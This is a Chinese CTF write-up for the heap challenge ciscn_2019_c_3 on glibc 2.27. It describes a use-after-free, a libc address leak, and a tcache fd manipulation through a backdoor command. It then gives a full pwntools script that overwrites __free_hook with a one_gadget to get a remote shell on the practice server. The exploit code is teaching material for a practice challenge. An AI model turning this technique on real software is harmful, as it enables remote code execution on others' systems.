0%

ciscn_2019_c_3

首先,检查一下程序的保护机制

Glibc给定版本2.27

然后,我们用IDA分析一下

Delete功能没有清空指针

只能向heap_data + 0x10处开始输入数据,这意味着,chunk的fd域不能被我们修改到

Backdoor函数可以对chunk的fd域做修改,因此,我们可以利用backdoor,将fd指向伪造的chunk处,而伪造的chunk的fd指向free_hook,这样通过三次malloc分配到free_hook改写free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

#sh = process('./ciscn_2019_c_3')
sh = remote('node3.buuoj.cn',26426)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
one_gadget = 0x4f322

def add(size,content):
sh.sendlineafter('Command:','1')
sh.sendlineafter('size:',str(size))
sh.sendlineafter('Give me the name:',content)

def show(index):
sh.sendlineafter('Command:','2')
sh.sendlineafter('index:',str(index))

def delete(index):
sh.sendlineafter('Command:','3')
sh.sendlineafter('weapon:',str(index))

def backdoor(index):
sh.sendlineafter('Command:','666')
sh.sendlineafter('weapon:',str(index))

#0
add(0x100,'a')
#1
add(0x60,'b')

for i in range(8):
delete(0)

show(0)
sh.recvuntil('attack_times: ')
main_arena_xx = int(sh.recvuntil('\n',drop = True))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
one_gadget_addr = libc_base + one_gadget
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#2
add(0x60,'a'*0x10 + p64(free_hook_addr - 0x10))

delete(2)
delete(2)
#修改fd+=0x20
for i in range(0x20):
backdoor(2)
add(0x60,'c') #3
add(0x60,'c') #4
add(0x60,p64(one_gadget_addr))
#getshell
delete(1)

sh.interactive()